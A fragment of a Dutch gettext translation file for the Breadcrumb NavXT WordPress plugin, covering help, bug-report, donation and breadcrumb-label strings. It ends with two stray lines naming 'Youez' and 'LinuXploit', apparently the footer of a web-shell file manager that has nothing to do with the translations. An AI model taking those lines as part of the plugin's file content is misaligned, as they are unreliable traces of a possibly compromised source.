msgstr "Je PHP-versie is te oud, upgrade naar een nieuwere versie. Je versie is %1$s, Breadcrumb NavXT vereist %2$s"

#: class.bcn_admin.php:327
msgid "%sTutorials and How Tos%s: There are several guides, tutorials, and how tos available on the author's website."
msgstr "%sHandleidingen en instructies%s: Er zijn verschillende engelstalige gidsen, handleidingen en instructies beschikbaar op de website van de auteur."

#: class.bcn_admin.php:327
msgid "Go to the Breadcrumb NavXT tag archive."
msgstr "Ga naar het 'Breadcrumb NavXT'-tagarchief."

#: class.bcn_admin.php:328
msgid "Go to the Breadcrumb NavXT online documentation"
msgstr "Ga naar de online 'Breadcrumb NavXT'-documentatie"

#: class.bcn_admin.php:329
msgid "%sReport a Bug%s: If you think you have found a bug, please include your WordPress version and details on how to reproduce the bug."
msgstr "%sMeld een fout%s: als je denkt dat je een fout gevonden hebt, meld dan ook je WordPress-versie en details over hoe de fout te reproduceren is."

#: class.bcn_admin.php:329
msgid "Go to the Breadcrumb NavXT support post for your version."
msgstr "Ga naar het 'Breadcrumb NavXT'-supportbericht voor je versie."

#: class.bcn_admin.php:330
msgid "Giving Back"
msgstr "Teruggeven"

#: class.bcn_admin.php:331
msgid "%sDonate%s: Love Breadcrumb NavXT and want to help development? Consider buying the author a beer."
msgstr "%sDoneer%s: heb je plezier van Breadcrumb NavXT en wil je de ontwikkeling verder helpen, overweeg dan de auteur een biertje te schenken."

#: class.bcn_admin.php:332
msgid "Go to the Breadcrumb NavXT translation project."
msgstr "Ga naar het 'Breadcrumb NavXT'-vertaalproject."

#: class.bcn_admin.php:340
msgid "For the settings on this page to take effect, you must either use the included Breadcrumb NavXT widget, or place either of the code sections below into your theme."
msgstr "Om de instellingen op deze pagina door te voeren moet je gebruik maken van de meegeleverde 'Breadcrumb NavXT'-widget, of plaats een van de onderstaande codesecties in je thema."

#: class.bcn_admin.php:341
msgid "Breadcrumb trail with separators"
msgstr "Kruimelpad met scheidingstekens"

#: class.bcn_admin.php:347
msgid "Breadcrumb trail in list form"
msgstr "Kruimelpad in lijstvorm"

#: class.bcn_admin.php:356
msgid "Quick Start"
msgstr "Snelle start"

#: class.bcn_admin.php:724
msgid "Author Archives"
msgstr "Auteursarchief"

Youez - 2016 - github.com/yon3zu
LinuXploit